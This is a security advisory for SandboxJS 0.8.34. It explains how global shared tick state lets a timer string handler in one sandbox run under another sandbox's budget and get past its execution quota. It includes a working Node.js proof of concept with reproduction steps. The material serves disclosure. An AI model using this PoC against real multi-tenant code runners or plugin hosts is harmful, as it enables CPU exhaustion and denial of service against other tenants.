GHSA-7p5m-xrh7-769r

## Summary

Assumed repo path is `/Users/zwique/Downloads/SandboxJS-0.8.34` (no `/Users/zwique/Downloads/SandboxJS` found). A global tick state (`currentTicks.current`) is shared between sandboxes. Timer string handlers are compiled at execution time using that global tick state rather than the scheduling sandbox's tick object. In multi-tenant / concurrent sandbox scenarios, another sandbox can overwrite `currentTicks.current` between scheduling and execution, causing the timer callback to run under a different sandbox's tick budget and bypass the original sandbox's execution quota/watchdog.

**Impact:** execution quota bypass → CPU/resource abuse

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## Details

- **Affected project:** SandboxJS (owner: nyariv) - **Assumed checked-out version:** `SandboxJS-0.8.34` at `/Users/zwique/Downloads/SandboxJS-0.8.34`

### Vulnerable code paths

- **`/src/eval.ts`** — `sandboxFunction` binds `ticks` using `ticks || currentTicks.current`: ``` createFunction(..., ticks || currentTicks.current, { ...context, ... }) ``` Relevant lines: 44, 53, 164, 167.

- **`/src/evaluator.ts` / `/src/executor.ts`** — global ticks: ``` export const currentTicks = { current: { ticks: BigInt(0) } as Ticks }; ``` and ``` _execNoneRecurse(...) { currentTicks.current = ticks; ... } ``` Relevant lines: ~1700, 1712.

- **`sandboxedSetTimeout`** compiles string handlers at execution time, not at scheduling time, which lets `currentTicks.current` be the wrong sandbox's ticks when compilation occurs.

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## Why This Is Vulnerable

- `currentTicks.current` is global mutable state shared across all sandbox instances. - Timer string handlers are compiled at the moment the timer fires and read `currentTicks.current` at that time. If another sandbox runs between scheduling and execution, it can replace `currentTicks.current`. The scheduled timer's code will be compiled/executed with the other sandbox's tick budget. This allows the original sandbox's execution quota to be bypassed.

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## Proof of Concept

> Run with Node.js; adjust path if needed.

```js // PoC (run with node); adjust path if needed import Sandbox from '/Users/zwique/Downloads/SandboxJS-0.8.34/node_modules/@nyariv/sandboxjs/build/Sandbox.js';

const globals = { ...Sandbox.SAFE_GLOBALS, setTimeout, clearTimeout }; const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;

const sandboxA = new Sandbox({ globals, prototypeWhitelist, executionQuota: 50n, haltOnSandboxError: true, }); let haltedA = false; sandboxA.subscribeHalt(() => { haltedA = true; });

const sandboxB = new Sandbox({ globals, prototypeWhitelist });

// Sandbox A schedules a heavy string handler sandboxA.compile( 'setTimeout("let x=0; for (let i=0;i<200;i++){ x += i } globalThis.doneA = true;", 0);' )().run();

// Run sandbox B before A's timer fires sandboxB.compile('1+1')().run();

setTimeout(() => { console.log({ haltedA, doneA: sandboxA.context.sandboxGlobal.doneA }); }, 50); ```

### Reproduction Steps

1. Place the PoC in `hi.js` and run: ``` node /Users/zwique/Downloads/SandboxJS-0.8.34/hi.js ```

2. Observe output similar to: ``` { haltedA: false, doneA: true } ``` This indicates the heavy loop completed and the quota was bypassed.

3. Remove the `sandboxB.compile('1+1')().run();` line and rerun. Output should now be: ``` { haltedA: true } ``` This indicates quota enforcement is working correctly.

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## Impact

- **Type:** Runtime guard bypass (execution-quota / watchdog bypass) - **Who is impacted:** Applications that run multiple SandboxJS instances concurrently in the same process — multi-tenant interpreters, plugin engines, server-side scripting hosts, online code runners. - **Practical impact:** Attackers controlling sandboxed code can bypass configured execution quotas/watchdog and perform CPU-intensive loops or long-running computation, enabling resource exhaustion/DoS or denial of service against the host process or other tenants. - **Does not (as tested) lead to:** Host object exposure or direct sandbox escape (no `process` / `require` leakage observed from this primitive alone). Escalation to RCE was attempted and not observed.